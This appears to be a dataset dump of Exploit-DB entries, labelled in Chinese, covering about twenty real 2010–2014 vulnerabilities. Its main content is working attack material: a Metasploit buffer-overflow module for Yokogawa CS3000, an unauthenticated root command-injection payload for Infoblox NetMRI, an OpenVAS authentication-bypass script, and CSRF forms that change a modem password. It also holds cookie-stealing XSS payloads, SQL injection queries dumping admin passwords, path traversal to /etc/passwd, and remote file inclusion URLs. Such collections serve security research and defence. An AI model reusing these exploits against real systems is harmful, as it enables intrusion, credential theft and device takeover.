QLWD/code_shield huggingface dataset:
标题: Infoblox 6.8.2.11 - OS Command Injection EDB-ID: 34030 CVE: 2014-3418 类型: WEBAPPS 平台: LINUX_X86 发布日期: 2014-07-10 漏洞利用脚本: Product: Network Automation, licensed as:
•         NetMRI
•         Switch Port Manager
•         Automation Change Manager
•         Security Device Controller

Vendor: Infoblox
Vulnerable Version(s): 6.4.X.X-6.8.4.X
Tested Version: 6.8.2.11

Vendor Notification: May 12th, 2014 
Vendor Patch Availability to Customers: May 16th, 2014
Public Disclosure: July 9th, 2014 

Vulnerability Type: OS Command Injection [CWE-78]
CVE Reference: CVE-2014-3418
Risk Level: High 
CVSSv2 Base Score: 10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Solution Status: Solution Available

Discovered and Provided: Nate Kettlewell, Depth Security ( https://www.depthsecurity.com/ )

------------------------------------------------------------------------
-----------------------

Advisory Details:

Depth Security discovered a vulnerability in the Infoblox Network Automation management web interface. This attack does not require authentication of any kind.

1) OS Command Injection in Infoblox Network Automation Products: CVE-2014-3418

The vulnerability exists due to insufficient sanitization of user-supplied data in in skipjackUsername POST parameter. A remote attacker can inject operating system commands as the root user, and completely compromise the operating system.

The following is the relevant portion of the multipart/form-data POST request to netmri/config/userAdmin/login.tdf

Content-Disposition: form-data; name="skipjackUsername"

admin`ping -n 20 127.0.0.1`

------------------------------------------------------------------------
-----------------------

Solution:

Infoblox immediately released a hotfix to remediate this vulnerability on existing installations (v6.X-NETMRI-20710.gpg). 
The flaw was corrected in the 6.8.5 release (created expressly for dealing with this issue), and that release has been put into manufacturing for new appliances.

------------------------------------------------------------------------
-----------------------

Proof of Concept:

In addition to manual exploitation via the above mentioned vector, proof of concept is provided in the form of a module for the metasploit framework.

https://github.com/depthsecurity/NetMRI-2014-3418
------------------------------------------------------------------------
-----------------------

References:

[1] Depth Security Advisory - http://blog.depthsecurity.com/2014/07/os-command-injection-in-infoblox-netmri.html  - OS Command Injection in NetMRI.
[2] NetMRI - http://www.infoblox.com/products/network-automation/netmri - NetMRI is an Enterprise Network Management Appliance.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org/ - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[4] NetMRI Metasploit Module - https://github.com/depthsecurity/NetMRI-2014-3418 URL: https://www.exploit-db.com/exploits/34030
标题: gpEasy CMS 1.6.2 - 'editing_files.php' Cross-Site Scripting EDB-ID: 34031 CVE: 2010-2038 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/40330/info

gpEasy CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to gpEasy CMS 1.6.3 are vulnerable 

<form method="POST" action="http://example.com/index.php/Home" name="myfrm">
<input type="hidden" name="cmd" value=&#039;save&#039;>
<input type="hidden" name="gpcontent" value=&#039;text"><script>alert(document.cookie)</script>&#039;>
</form>
<script>
document.myfrm.submit();
</script> URL: https://www.exploit-db.com/exploits/34031
标题: Cisco DPC2100 2.0.2 r1256-060303 - Multiple Security Bypass / Cross-Site Request Forgery Vulnerabilities EDB-ID: 34033 CVE: 2010-2025 类型: REMOTE 平台: HARDWARE 发布日期: 2010-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/40346/info

Cisco DPC2100 (formerly Scientific Atlanta DPC2100) is prone to multiple security-bypass and cross-site request-forgery vulnerabilities.

Successful exploits may allow attackers to run privileged commands on the affected device, change configuration settings, modify device firmware, cause denial-of-service conditions, or inject arbitrary script code. Other attacks are also possible.

Firmware versions prior to 2.0.2.r1256-100324as are vulnerable. 

<html> <head> <title>Test for CSRF vulnerability in WebSTAR modems</title> </head> <body> <form name="csrf" method="post" action="http://192.168.100.1/goform/_aslvl"> <input type="hidden" name="SAAccessLevel" value="0"> <input type="hidden" name="SAPassword" value="W2402"> </form> <script>document.csrf.submit()</script> </body> </html> URL: https://www.exploit-db.com/exploits/34033
标题: cyberhost - 'default.asp' SQL Injection EDB-ID: 34034 CVE: 2010-2142 类型: WEBAPPS 平台: ASP 发布日期: 2010-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/40357/info

cyberhost is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/default.asp?gb=paketayrinti&id=18+union+select+0,1,2,3,4,5,6,7+from+uye URL: https://www.exploit-db.com/exploits/34034
标题: OpenVPN Private Tunnel Core Service - Unquoted Service Path Privilege Escalation EDB-ID: 34037 CVE: 2014-5455 类型: LOCAL 平台: WINDOWS_X86 发布日期: 2014-07-12 漏洞利用脚本: OpenVPN Private Tunnel Core Service Unquoted Service Path Elevation Of Privilege


Vendor: OpenVPN Technologies, Inc
Product web page: http://www.openvpn.net
Affected version: 2.1.28.0 (PrivateTunnel 2.3.8)

Summary: Private Tunnel is a new approach to true Internet security creating
a Virtual Private Tunnel (VPT) or Virtual Private Network (VPN) that encrypts,
privatizes, and protects your Internet traffic.

Desc: Private Tunnel application suffers from an unquoted search path issue
impacting the Core Service 'ptservice' service for Windows deployed as part
of PrivateTunnel bundle. This could potentially allow an authorized but
non-privileged local user to execute arbitrary code with elevated privileges
on the system.  A successful attempt would require the local user to be able
to insert their code in the system root path undetected by the OS or other
security applications where it could potentially be executed during application
startup or reboot.  If successful, the local user's code would execute with the
elevated privileges of the application.

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows XP Professional SP3 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5192
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5192.php


07.07.2014

---


C:\Users\user>sc qc ptservice
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ptservice
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\OpenVPN Technologies\PrivateTunnel\ptservice.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Private Tunnel Core Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\user>icacls "C:\Program Files (x86)\OpenVPN Technologies\PrivateTunnel\ptservice.exe"
C:\Program Files (x86)\OpenVPN Technologies\PrivateTunnel\ptservice.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                                        BUILTIN\Administrators:(I)(F)
                                                                        BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\Users\user> URL: https://www.exploit-db.com/exploits/34037
标题: OpenVAS Manager 4.0 - Authentication Bypass EDB-ID: 34026 CVE: 2013-6765 类型: REMOTE 平台: LINUX 发布日期: 2014-07-10 漏洞利用脚本: #!/usr/bin/python

# Exploit Title: OpenVAS Manager 4.0 Authentication Bypass Vulnerability PoC 
# Date: 09/07/2014
# Exploit Author: EccE
# Vendor Homepage: http://www.openvas.org/
# Software Link: http://wald.intevation.org/frs/?group_id=29
# Version: OpenVAS Manager 4.0 
# Tested on: Debian GNU/Linux testing (jessie)
# CVE : CVE-2013-6765

""" 
 Small list of working commands

get_agents 
get_configs 
get_alerts
get_filters
get_lsc_credentials 
get_notes 
get_nvts 
get_targets
get_users
get_schedules


More commands (~70 commands) can be found directly in the omc.c file. Not all of them are working though. 
As designed in OMP protocol, commands must be sent this way : <COMMAND/>

"""

import socket, ssl

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Require a certificate from the server. We used a self-signed certificate
# so here cacerts.pem must be the server certificate itself.
ssl_sock = ssl.wrap_socket(s,
                           ca_certs="/var/lib/openvas/CA/cacert.pem", 
                           cert_reqs=ssl.CERT_REQUIRED)

# OpenVAS Manager listen by default on localhost tcp/9390
ssl_sock.connect(('localhost', 9390))


print "#################################################################"
print "# Proof of Concept - OpenVAS Manager 4.0 Authentication Bypass  #"
print "#################################################################"
print "\n"

print "--> Retrieving version...(exploiting the bug !)\n"
ssl_sock.write("<get_version/>")
data = ssl_sock.read()
print data
print "\n"


print "--> Retrieving slaves...\n"
ssl_sock.write("<get_slaves/>")
tasks = ssl_sock.read()
print tasks
print "\n"

"""
print "--> Creating note...\n"
ssl_sock.write("<create_note/>")
note = ssl_sock.read()
print note 

print "--> Retrieving users list...\n"
ssl_sock.write("<get_users/>")
users_list = ssl_sock.read()
print users_list
"""
ssl_sock.close() URL: https://www.exploit-db.com/exploits/34026
标题: Snipe Gallery 3.1 - 'gallery.php?cfg_admin_path' Remote File Inclusion EDB-ID: 34016 CVE: 2010-2126 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/40279/info

Snipe Gallery is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

The issues affect Snipe Gallery versions 3.1.5 and prior. 

http://www.example.com/gallery.php?cfg_admin_path=[shell.txt ] URL: https://www.exploit-db.com/exploits/34016
标题: Shopzilla Affiliate Script PHP - 'search.php' Cross-Site Scripting EDB-ID: 34011 CVE: 2010-2040 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/40246/info

Shopzilla Affiliate Script PHP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/search.php?s=%3Cscript%3Ealert(/XSS/)%3C/script%3E URL: https://www.exploit-db.com/exploits/34011
标题: Snipe Gallery 3.1 - 'image.php?cfg_admin_path' Remote File Inclusion EDB-ID: 34017 CVE: 2010-2126 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/40279/info
 
Snipe Gallery is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
 
The issues affect Snipe Gallery versions 3.1.5 and prior. 

http://www.example.com/image.php?cfg_admin_path=[shell.txt ] URL: https://www.exploit-db.com/exploits/34017
标题: Joomla! Component Percha Gallery 1.6 Beta - 'Controller' Traversal Arbitrary File Access EDB-ID: 34006 CVE: 2010-2035 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/40244/info
   
Multiple Percha components for Joomla are prone to multiple local file-include vulnerabilities because they fail to properly sanitize user-supplied input.
   
An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
   
The following Percha components are affected:
   
com_perchaimageattach
com_perchafieldsattach
com_perchadownloadsattach
com_perchagallery
com_perchacategoriestree 

http://www.example.com/index.php?option=com_perchagallery&controller=../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/34006
标题: Web 2.0 Social Network Freunde Community System - 'user.php' SQL Injection EDB-ID: 34014 CVE: 2010-1923 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/40264/info

Web 2.0 Social Network Freunde Community System is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/cms/user.php?toDo=showgallery&id=999999999999+UNION+SELECT+1,concat(password,0x3a,id),3,4,5,6,7,8,9,10,11,12,13,14+from+admin URL: https://www.exploit-db.com/exploits/34014
标题: Joomla! Component Percha Downloads Attach 1.1 - 'Controller' Traversal Arbitrary File Access EDB-ID: 34005 CVE: 2010-2037 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/40244/info
  
Multiple Percha components for Joomla are prone to multiple local file-include vulnerabilities because they fail to properly sanitize user-supplied input.
  
An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
  
The following Percha components are affected:
  
com_perchaimageattach
com_perchafieldsattach
com_perchadownloadsattach
com_perchagallery
com_perchacategoriestree 

http://www.example.com/index.php?option=com_perchadownloadsattach&controller=../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/34005
标题: Joomla! Component Percha Multicategory Article 0.6 - 'Controller' Arbitrary File Access EDB-ID: 34008 CVE: 2010-2033 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/40244/info
    
Multiple Percha components for Joomla are prone to multiple local file-include vulnerabilities because they fail to properly sanitize user-supplied input.
    
An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
    
The following Percha components are affected:
    
com_perchaimageattach
com_perchafieldsattach
com_perchadownloadsattach
com_perchagallery
com_perchacategoriestree 

http://www.example.com/index.php?option=com_perchacategoriestree&controller=../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/34008
标题: Yokogawa CS3000 - 'BKFSim_vhfd.exe' Remote Buffer Overflow (Metasploit) EDB-ID: 34009 CVE: 2014-3888 类型: REMOTE 平台: WINDOWS 发布日期: 2014-07-08 漏洞利用脚本: ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',
      'Description'    => %q{
        This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability
        exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create
        logs using functions like vsprintf and memcpy in a insecure way. This module has been
        tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.
      },
      'Author'         =>
        [
          'Redsadic <julian.vilas[at]gmail.com>',
          'juan vazquez'
        ],
      'References'     =>
        [
          ['CVE', '2014-3888'],
          ['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],
          ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']
        ],
      'Payload'        =>
        {
          'Space'    => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)
          'DisableNops' => true,
          'BadChars' => "\x00",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',
            {
              'Ret'    => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll
              'Offset' => 438
            }
          ],
        ],
      'DisclosureDate' => 'May 23 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(20010)
      ], self.class)
  end

  def exploit
    connect_udp

    sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header
    sploit << rand_text(target['Offset'])
    sploit << [target.ret].pack("V")
    sploit << payload.encoded

    print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")
    udp_sock.put(sploit)

    disconnect_udp
  end

end URL: https://www.exploit-db.com/exploits/34009
标题: Caucho Resin Professional 3.1.5 - '/resin-admin/digest.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34012 CVE: 2010-2032 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/40251/info

Caucho Resin Professional is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Resin Professional 3.1.5 is affected; other versions may also be affected. 

http://www.example.com/resin-admin/digest.php?digest_attempt=1&digest_realm="><script>alert("ZnVjayBjbnZk")</script><a&digest_username[]=
http://www.example.com/resin-admin/digest.php?digest_attempt=1&digest_username="><script>alert("ZnVjayBjbnZk")</script><a URL: https://www.exploit-db.com/exploits/34012
标题: Joomla! Component Percha Fields Attach 1.0 - 'Controller' Traversal Arbitrary File Access EDB-ID: 34004 CVE: 2010-2036 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/40244/info
 
Multiple Percha components for Joomla are prone to multiple local file-include vulnerabilities because they fail to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
 
The following Percha components are affected:
 
com_perchaimageattach
com_perchafieldsattach
com_perchadownloadsattach
com_perchagallery
com_perchacategoriestree 

http://www.example.com/index.php?option=com_perchafieldsattach&controller=../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/34004
标题: Joomla! Component Percha Image Attach 1.1 - 'Controller' Traversal Arbitrary File Access EDB-ID: 34003 CVE: 2010-2034 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/40244/info

Multiple Percha components for Joomla are prone to multiple local file-include vulnerabilities because they fail to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

The following Percha components are affected:

com_perchaimageattach
com_perchafieldsattach
com_perchadownloadsattach
com_perchagallery
com_perchacategoriestree 

 http://www.example.com/index.php?option=com_perchaimageattach&controller=../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/34003
标题: Linux Kernel 2.6.x - Btrfs Cloned File Security Bypass EDB-ID: 34001 CVE: 2010-1636 类型: LOCAL 平台: LINUX 发布日期: 2010-05-18 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/40241/info

The Linux Kernel is prone to a security-bypass vulnerability that affects the Btrfs filesystem implementation.

An attacker can exploit this issue to clone a file only open for writing. This may allow attackers to obtain sensitive data or launch further attacks. 
*/

#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>

#define BTRFS_IOC_CLONE _IOW(0x94, 9, int)

int main(int argc, char * argv[])
{

  if(argc < 3) {
    printf("Usage: %s [target] [output]\n", argv[0]);
    exit(-1);
  }

  int output = open(argv[2], O_WRONLY | O_CREAT, 0644);

  /* Note - opened for writing, not reading */
  int target = open(argv[1], O_WRONLY);

  ioctl(output, BTRFS_IOC_CLONE, target);

} URL: https://www.exploit-db.com/exploits/34001
标题: Joomla! Component JComments 2.1 - 'ComntrNam' Cross-Site Scripting EDB-ID: 33998 CVE: 2010-5048 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/40230/info

The JComments component for Joomla! is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to JComments 2.2 are vulnerable. 

<form method="POST" action="http://joomla/administrator/index.php" name="main"> <input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'> <input type="hidden" name="email" value="example@example.com"> <input type="hidden" name="comment" value="comment text"> <input type="hidden" name="published" value="1"> <input type="hidden" name="option" value="com_jcomments"> <input type="hidden" name="id" value="1"> <input type="hidden" name="task" value="save"> </form> <script> document.main.submit(); </script> URL: https://www.exploit-db.com/exploits/33998